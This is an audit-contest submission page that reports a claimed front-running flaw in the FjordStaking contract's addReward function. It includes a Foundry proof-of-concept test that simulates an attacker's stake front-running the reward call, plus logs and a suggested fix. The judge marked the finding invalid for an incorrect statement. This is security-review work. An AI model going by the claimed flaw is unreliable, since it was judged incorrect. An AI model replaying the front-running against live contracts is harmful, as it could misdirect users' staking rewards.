DeFiFoundry
20,000 USDC
View results
Submission Details
Severity: high
Invalid

An attacker can break the pre-conditions of the `FjordStaking#addReward` function by front-running

Summary

An attacker can break the pre-conditions of the FjordStaking#addReward function by front-running, which leads to the rewards be wrongly distributed.

Vulnerability Details

There is a NatSpec for the FjordStaking#addReward function

https://github.com/Cyfrin/2024-08-fjord/blob/0312fa9dca29fa7ed9fc432fdcd05545b736575d/src/FjordStaking.sol#L751-L755

/// @notice addReward should be called by master chef
/// must be only call if it's can trigger update next epoch so the total staked won't increase anymore
/// must be the action to trigger update epoch and the last action of the epoch
/// @param _amount The amount of tokens to be added as rewards.
function addReward(uint256 _amount) external onlyRewardAdmin {

The protocol intends to call this function when:

  • This action is the last action of the current epoch.

  • This action triggers the update of next epoch, in other words, this action triggers the function _checkEpochRollover.

But an attacker can break these pre-conditions by front-running the function addReward with any functions that have a modifier checkEpochRollover (E.g: stake). This will causes the staking rewards be wrongly distributed, to be more precise, the staking rewards will be distributed one epoch after and the rewards will be for one more epoch.

Consider the following scenario:

  1. At the end of the third epoch, the protocol calls to addReward to distribute the staking rewards for the second and first epoch.

  2. An attacker front-runs the protocol's transaction with any function that have a modifier checkEpochRollover. The epoch gets rollover, and now the current epoch is the fourth epoch.

  3. The staking rewards will be distributed at the start of the fifth epoch, and it will be for the third, the second, and the first epoch.

Add this coded PoC to test/POC/POC.t.sol

// SPDX-License-Identifier: AGPL-3.0-only
pragma solidity =0.8.21;
import "../../src/FjordStaking.sol";
import "../FjordStakingBase.t.sol";
contract StakeRewardScenarios is FjordStakingBase {
address attacker = makeAddr("attacker");
function afterSetup() internal override {
deal(address(token), bob, 10000 ether);
vm.prank(bob);
token.approve(address(fjordStaking), 10000 ether);
deal(address(token), attacker, 10000 ether);
vm.prank(attacker);
token.approve(address(fjordStaking), 10000 ether);
}
function testWithoutTheAttack() public {
// First epoch
vm.prank(alice);
fjordStaking.stake(1 ether);
skip(fjordStaking.epochDuration());
// Second epoch
vm.prank(alice);
fjordStaking.stake(1 ether);
skip(fjordStaking.epochDuration());
// Third epoch
vm.prank(bob);
fjordStaking.stake(1 ether);
skip(fjordStaking.epochDuration());
// The end of the third epoch / the start of the fourth epoch
// The protocol add rewards at the end of the third epoch
vm.prank(minter);
fjordStaking.addReward(3 ether);
{
vm.prank(alice);
fjordStaking.claimReward(false);
(uint256 epoch, uint256 amount) = fjordStaking.claimReceipts(alice);
console.log("Alice's rewards: %e", amount);
}
{
vm.expectRevert(FjordStaking.NothingToClaim.selector);
vm.prank(bob);
fjordStaking.claimReward(false);
}
}
function testWithTheAttack() public {
// First epoch
vm.prank(alice);
fjordStaking.stake(1 ether);
skip(fjordStaking.epochDuration());
// Second epoch
vm.prank(alice);
fjordStaking.stake(1 ether);
skip(fjordStaking.epochDuration());
// Third epoch
vm.prank(bob);
fjordStaking.stake(1 ether);
skip(fjordStaking.epochDuration());
// The end of the third epoch / the start of the fourth epoch
// An attacker front-runs the protocol transaction
vm.prank(attacker);
fjordStaking.stake(1 ether);
// The protocol add rewards at the end of the third epoch
vm.prank(minter);
fjordStaking.addReward(3 ether);
// The rewards have not been distributed yet
{
vm.expectRevert(FjordStaking.NothingToClaim.selector);
vm.prank(alice);
fjordStaking.claimReward(false);
}
skip(fjordStaking.epochDuration());
// The end of the fourth epoch / the start of the fifth epoch
// Now the rewards will be distributed
vm.prank(attacker);
fjordStaking.stake(1 ether);
{
vm.prank(alice);
fjordStaking.claimReward(false);
(uint256 epoch, uint256 amount) = fjordStaking.claimReceipts(alice);
console.log("Alice's rewards: %e", amount);
}
{
vm.prank(bob);
fjordStaking.claimReward(false);
(uint256 epoch, uint256 amount) = fjordStaking.claimReceipts(bob);
console.log("Bob's rewards: %e", amount);
}
}
}

Logs

testWithoutTheAttack()
Alice's rewards: 3e18
testWithTheAttack()
Alice's rewards: 2e18
Bob's rewards: 1e18

When there is no attack, the rewards will be distributed at the start of the fourth epoch, and the rewards will be for the second and first epoch. When the attacker performs the attack, the rewards will be distributed at the start of the fifth epoch, and the rewards will be for the third, second, and first epoch.

Impact

An attacker can break the pre-conditions of the FjordStaking#addReward function, which leads to the rewards be wrongly distributed.

Tools Used

Manual Review.

Recommendations

Add a buffered time (E.g: 10 minutes) at the start of every epoch. During the buffered time, only the protocol can interact with the FjordStaking contract. The protocol adding rewards during the buffered time will guarantee the pre-conditions of the FjordStaking#addReward function are met.

Updates

Lead Judging Commences

inallhonesty Lead Judge
10 months ago
inallhonesty Lead Judge 10 months ago
Submission Judgement Published
Invalidated
Reason: Incorrect statement

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.